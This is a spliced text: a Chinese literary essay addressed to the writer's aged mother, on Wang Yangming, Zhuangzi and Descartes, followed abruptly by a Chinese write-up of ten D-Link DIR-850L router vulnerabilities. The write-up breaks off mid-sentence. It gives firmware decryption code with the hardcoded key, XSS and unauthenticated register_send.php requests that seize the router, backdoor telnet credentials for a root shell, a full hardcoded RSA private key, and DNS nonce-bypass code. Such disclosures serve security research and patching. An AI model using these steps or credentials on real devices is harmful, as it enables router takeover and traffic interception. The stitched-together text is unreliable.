    你塞着耳机,给你放的是黄梅调《梁山伯与祝英台》。让你听年轻时熟悉的音乐,或许能安定你惶惑不安的心,或许能勾回你断了线的记忆,使你不觉得世界那么荒凉;或许熟悉的音乐是一条温柔得令人疼痛的绳索,勉强能拉住你,让你不致于独自直直坠落黑色的悬崖。

    你静悄悄地坐在那里,我看见你的背影白发。此刻我真正渴望的,是你突然转过头来,认真而专注地看着我,听我跟你喋喋不休,喋喋不休,把这一辈子曾经嫌弃你不懂而不想跟你说的话,一直说、一直说、一直说……

    七天七夜竹

    好,那么就让我告诉你刚刚为什么突然发笑。五百年前有个读书人,叫做王阳明,阳光的阳,明白的明。他从朱熹那儿知道“致知”必须透过“格物”。二十一岁那一年,有一天他看到院子里有竹子,就让朋友先去看,那个朋友盯着竹子看了三天三夜,什么体会也没有,反倒病倒了。于是王阳明搬了条凳子守在竹子前面,盯了七天七夜,也病倒了。

    夜凉霜重,我猜他得了重感冒,流着鼻涕打着喷嚏回房倒下。最戏剧的是,王阳明因为格竹格不出什么深奥的道理,对尊敬的老师朱熹失望,反而开发了新的理论:原来知识不靠外求,大千世界全在一心之内。他因此开创了心学

    其实,朱老师说的是,“众物必有表里精粗,一草一木,皆涵至理。”王阳明把这个“至理”认知为圣人的道理,而不是外在客观的知识。丁肇中说,“这位先生明明是把探察外界误认为探讨自己。”王阳明应该做的不是坐在竹前空想,而是动手,譬如先亲手种竹,观察竹怎么生长;譬如把叶子摘下放到显微镜下面去细看。“绝不是袖手旁观就可以得到知识的。”到今天中国学生都倾向于坐着动脑,不喜欢站起来动手,丁说,就是王阳明这种思想的影响。

    喔,丁肇中就是那个得到诺贝尔奖的物理学家。在日内瓦他请我在湖边吃饭,很可爱的人。

    你还有兴趣听下去吗?

    我坐在那红彩木前,其实是一心多用的。一面用手在给红彩木做“体检”,认识它的树形、叶形、枝形、花序、花瓣的质地,同时脑子里流过很多、很多的念头。我相信你也是。譬如我们读书时,你每天早上五点钟就摸黑起来帮我们做便当,手上在做便当,你的脑子一定是千头万绪转动――要到哪里标会把学费凑足、老大不爱读书怎么办、台风把屋瓦吹跑了、养猪补贴点家用如何……

    那喋喋不休的我

    有一天王阳明去山中郊游,朋友指着峭壁岩石里长出来的花树挑衅说,你老兄总是说“天下无心外之物,如此花树,在深山中自开自落,于我心亦何相关?”王阳明就回答:“你未看此花时,此花与汝心同归于寂;你来看此花时,则此花颜色一时明白起来,便知此花不在你的心外。”

    你知道这多有意思吗?“心”这个东西,究竟是什么,到今天科学的发展如此进步,人类其实还搞不清楚。哲学家和神经学家吵个不停;神经学家说,什么心,不过就是那一团黏黏糊糊的软肉,叫做脑,里头埋着很多神经,主导人的感情和思维。哲学家说,“那你告诉我,如果把脑神经全部复制了,做出来的,就是‘人’吗?你敢称他‘人’吗?人工智能即使做到百分之百――你敢叫它‘人’吗?”

    你还听吗,美君,我可以继续说给你听吗?

    然后我就想到庄子和一个法国人叫做笛卡儿。庄周梦蝶你是知道的。他梦见自己是一只蝴蝶,醒来之后问自己说,到底是我这个人在梦里变蝴蝶,还是倒过来,其实我是蝴蝶,梦见我是人,而我现在其实走在真我―蝴蝶―的梦里?庄子在问的当然不是蝴蝶不蝴蝶,而是人的存在本质究竟是什么的问题。笛卡儿比王阳明晚生一百多年,他想破头的问题是:我怎么证明我存在?折腾多年最后找到答案了:我有念头,就证明我有思维,有思维,就证明我存在。

    然后呢,美君,我在检查红彩木的穗花瓣的时候,回头看了你一下,想看看你的耳机是不是被你扯下来了,然后我的念头就转了方向:如果有念头、有思维,证明我存在,那么反过来问:当我没了念头、没了思维,是否就证明了我的不
    存在?

    可是,没了念头和思维,就是我死了,没有一个死人会跟你宣布“我死了”,这件事逻辑上不可能发生,所以存在可以证明,但是不存在无法证明,对吧,美君?诡辩家可以说,人是永生的,因为他永远不能宣称他的不存在。

    回不去

    我走到你身旁,跪在地板上,摘下你的耳机,塞进我自己耳里,听听看声音是不是正常;“梁祝”已经唱到悲怆的楼台会了,我不知道你是不是真的在听,是不是真的明白这是“梁祝”,你知不知道你的女儿在你身旁。此刻我有点儿微微的悲从中来,跟你从红彩木说到王阳明说到笛卡儿说到神经学――如果在你有念头、有思维的时光里我就跟你这样喋喋不休,你用你明亮的眼睛看着我,那该多好,可是,怎么就回不去了呢……

    图片:龙应台摄影

  • D-link 10个0Day漏洞分析(附细节)

    安全研究人员Pierre Kim日前披露D-Link DIR 850LAC1200型双频千兆云路由器被曝10个安全问题,包括XSS攻击,缺乏应有的固件保护,后门和root提权等。这10个安全问题分别是:

    Firmware。对firmware缺乏足够的安全保护。 XSS漏洞。攻击者可以利用XSS攻击来获取已认证用户的认证cookie。

    Retrieving admin password。攻击者可以提取admin的口令,利用MyDlink云协议添加攻击者帐号到路由器,来获取路由器的控制权;

    Weak Cloud protocol。MyDlink协议基于TCP,路由器和MyDlink账户之间的通信没有加密

    Backdoor access。存在后门,攻击者可以获取root权限。

    Stunnel private keys。加密私钥硬编码在固件中,攻击者提取后可以执行中间人攻击。

    Nonce bruteforcing for DNS configuration。攻击者可以通过非认证的HTTP请求,转发流量等方式改变路由器的DNS配置。

    Weak files permission and credentials stored in cleartext。路由器明文保存证书信息。

    Pre-Auth RCEs as root (L2)。DHCP客户端存在被命令注入的可能,攻击者可以用来获取设备的root权限。

    DoS against some daemons。攻击者可以远程攻击路由器上运行的守护进程和服务。

    以上漏洞存在于Dlink 850L revA(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)和Dlink 850L revB(DIR850LB1_FW207WWb05.bin)中的至少一个固件中。

    Dlink 850L的最新固件镜像revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)未进行保护,攻击者可以伪造一个新的固件镜像。

    Dlink 850L的最新固件revB (DIR850LB1_FW207WWb05.bin,DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1 FW208WWb02.bin)用硬编码密码进行保护的。

    研究者用下面的程序来解密固件镜像。

    /*   * Simple tool to decrypt D-LINK DIR-850L REVB firmwares   *  * $ gcc -o revbdec revbdec.c  * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  */  #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h>  #define USAGE "Usage: decimg <filename> <key>/n"  int main(int    argc,          char   **argv) {         int     i, fi;         int     fo = STDOUT_FILENO, fe = STDERR_FILENO;          if (argc != 3)         {                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          if ((fi = open(argv[1], O_RDONLY)) == -1)         {                 perror("open");                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          const char *key = argv[2];         int kl = strlen(key);          i = 0;         while (1)         {                 char buffer[4096];                 int j, len;                 len = read(fi, buffer, 4096);                 if (len <= 0)                         break;                 for (j = 0; j < len; j++) {                         buffer[j] ^= (i + j) % 0xFB + 1;                         buffer[j] ^= key[(i + j) % kl];                 }                 write(fo, buffer, len);                 i += len;         }         return (EXIT_SUCCESS); } 
    user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1" 593           0x251           LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes 10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes 1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes 1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29 

    通过以上我们可以发现,并没有对固件镜像进行保护。

    下面披露上面提到漏洞的相关细节。

    XSS漏洞细节

    通过分析/htdocs/web文件夹下的php文件,我们可以发现XSS漏洞的细节。

    攻击者通过XSS漏洞来写去认证用户的认证cookies。

    /htdocs/web/wpsacts.php文件:

    user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php <?xml version="1.0" encoding="utf-8"?> <wpsreport>         <action><a></action>         <result></result>         <reason></reason> </wpsreport>  user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php [..] <wpsreport>         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/shareport.php文件中的XSS代码:

    [...]          <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/sitesurvey.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/wandetect.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/wpsacts.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    Retrieving admin password细节

    网页 http://ip_of_router/register_send.php 并不对用户进行认证,攻击者可以利用该网页的漏洞获取设备的控制权。

    攻击场景:

    攻击者可以用 /register_send.php 页面进行以下操作:

    创建MyDlink Cloud账户;

    利用创建的账户登入设备;

    把设备加入账户中。

    攻击场景重现:

    用页面 http://ip_of_router/register_send.php 作为攻击者和远程Dlink API之间的接口。该页面可以提取明文保存的用户口令。

    $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password $action = $_POST["act"];                                 of the device 

    178 //sign up 179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 182  183 $post_url_signup = "/signin/"; 184  185 $action_signup = "signup"; 186  187 //sign in        188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 190  191 $post_url_signin = "/account/?signin"; 192  193 $action_signin = "signin"; 194  195 //add dev (bind device) 196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 198  199 $post_url_adddev = "/account/?add"; 200  201 $action_adddev = "adddev"; 202  203 //main start 204 if($action == $action_signup)                    <---- first request 205 { 206         $post_str = $post_str_signup; 207         $post_url = $post_url_signup; 208         $withcookie = "";   //signup dont need cookie info 209 } 210 else if($action == $action_signin)               <---- second request 211 { 212         $post_str = $post_str_signin; 213         $post_url = $post_url_signin; 214         $withcookie = "/r/nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;"; 215 } 216 else if($action == $action_adddev)               <---- 3rd request 217 { 218         $post_str = $post_str_adddev; 219         $post_url = $post_url_adddev; 220 } 

    向路由器发送3个HTTP请求来利用该漏洞:

    第一个请求 (signup)会在MyDlink服务上创建一个用户:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>    <result>success</result>    <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给MyDlink Cloud APIs:

    179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 

    第二个请求 (signin)路由器会将该账户与新创建的用户相关联,但不激活:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给 MyDlink Cloud APIs:

    188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 

    第三个请求是把设备和dlink服务相管理,并发送设备口令给远程API。

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给 MyDlink Cloud APIs:

    196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 

    用注册的邮箱和口令登录 http://mydlink.com/,登录后看到的通用管理选项:

    D-link 10个0Day漏洞分析(附细节)

    D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)

    通过分析这些HTTP请求,我们可以获取目标路由器的信息。

    D-link 10个0Day漏洞分析(附细节)

    PUT (PUT IDENTIFIER_OF_THE_ROUTER)命令提供了该设备的明文口令。

    D-lin
k 10个0Day漏洞分析(附细节)

    这张图的最后是一个 GET 请求

    https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN 

    POST数据:

    {"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]} 

    回应是明文(含有设备口令):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

    GET 请求可以用来提取口令:

    D-link 10个0Day漏洞分析(附细节)

    GET请求:

    GET https://eu.mydlink.com/device/devices/DEVICEID?=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1

    回应是一样的,之前的明文口令和新的口令(admin口令):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

    最后一个请求是询问关于浏览器和远程路由器之间的通道的:

    D-link 10个0Day漏洞分析(附细节)

    发送给 /tssm/tssml.php 的请求请求远程云平台转发留到到设备号3XXXXXXX的设备。攻击者可以通过云平台获取新建立的TCP通道的信息:

    https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE

    监听 127.0.0.1:50453/tcp (HTTP) 和 127.0.0.1:50454/tcp (HTTP over SSL):

    D-link 10个0Day漏洞分析(附细节)

    访问 http://127.0.0.1:50453/。 我们发现流量通过云协议被发送到远程路由器。

    D-link 10个0Day漏洞分析(附细节)

    利用该泄露的口令,攻击者可以黑掉路由器,并把该路由器的固件更新为留有后门的固件。

    D-link 10个0Day漏洞分析(附细节)

    Weak Cloud protocol

    ​MyDlink Cloud协议没有加密机制,只使用了基本的TCP中继系统。所有的TCP流量都没有进行适当的加密。

    理想状态下,用户可以利用rgbin来修改设备的MAC地址:

    # /usr/sbin/devdata dump # will dump all the configuration # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface

    该程序只覆写 /dev/mtdblock/4 的文件

    该漏洞会影响DLINK的支持MyDlink cloud protocol的NAS,路由器,摄像头等。

    ​ wireshark抓包(明文和自签名流量) :

    D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)

    Backdoor access细节

    revB镜像中,如果重设设备, /etc/init0.d/S80mfcd.sh init脚本 mfcd 开始运行:

    mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
    user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh #!/bin/sh echo [$0]: $1 ... > /dev/console orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`  entn=`devdata get -e ALWAYS_TN` if [ "$1" = "start" ] && [ "$entn" = "1" ]; then         mfcd -i br0 -t 99999999999999999999999999999 &         exit fi  if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then          if [ -f "/usr/sbin/login" ]; then                 image_sign=`cat /etc/config/image_sign`                 mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &         else                 mfcd &         fi  else         killall mfcd fi

    攻击者可以获取设备的root shell权限:

    user@kali:~/petage-dlink$ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. Login: Alphanetworks Password: wrgac25_dlink.2013gui_dir850l   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # echo what what #

    Stunnel private keys细节

    密钥通过硬编码方式保存在固件中。管理通过HTTPS方式,攻击者可以发起SSL中间人攻击。细节如下:

    # ls -la /etc/stunnel.key -rwxr-xr-x    1 root     root         1679 Jan 20  2017 /etc/stunnel.key # cat /etc/stunnel.key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+ uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS 3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1 t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1 CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2 a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/ I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/ C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ 1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg== -----END RSA PRIVATE KEY----- # cat /etc/stunnel_cert.pem Certificate: Data:     Version: 3 (0x2)     Serial Number:         87:6f:88:76:87:df:e7:78     Signature Algorithm: sha1WithRSAEncryption     Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost     Validity         Not Before: Feb 22 06:04:36 2012 GMT         Not After : Feb 17 06:04:36 2032 GMT     Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost     Subject Public Key Info:         Public Key Algorithm: rsaEncryption             Public-Key: (2048 bit)             Modulus:                 00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:                 fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62:                 35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:                 c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa:                 79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4:                 44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:                 e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89:                 15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:                 ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5:                 4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb:                 9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf:                 19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9:                 84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53:                 01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d:                 9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45:                 98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:                 ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed:                 7b:eb             Exponent: 65537 (0x10001)     X509v3 extensions:         X509v3 Basic Constraints:              CA:FALSE         Netscape Comment:              OpenSSL Generated Certificate         X509v3 Subject Key Identifier:              B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01         X509v3 Authority Key Identifier:              keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2  Signature Algorithm: sha1WithRSAEncryption     3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61:     88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c:     21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:     e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:     ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:     fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d:     12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:     e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14:     49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b:     03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f:     8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad:     71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8:     88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:     b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01:     7e:d3:01:13 -----BEGIN CERTIFICATE----- MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0 MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD /pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
     ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D 9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q 7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz 0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2 84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj 346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK L0K03Bik6/rxBA6n4v9drM1hKAF+0wET -----END CERTIFICATE-----

    Nonce bruteforcing for DNS configuration细节

    htdocs/parentalcontrols/bind.php 文件可以更改DNS配置信息,并不检查管理用户的认证状态。因为对HTTP请求没有限制和认证,攻击者可以采取暴力方式破解nonce。

    8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;   9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")  10 {  11         $Response="BindError";  12 }  13 else if(query("/runtime/device/uptime") > $uptime_limit)  14 {  15         $Response="BindTimeout";  16 }

    攻击者定义新的DNS服务器:

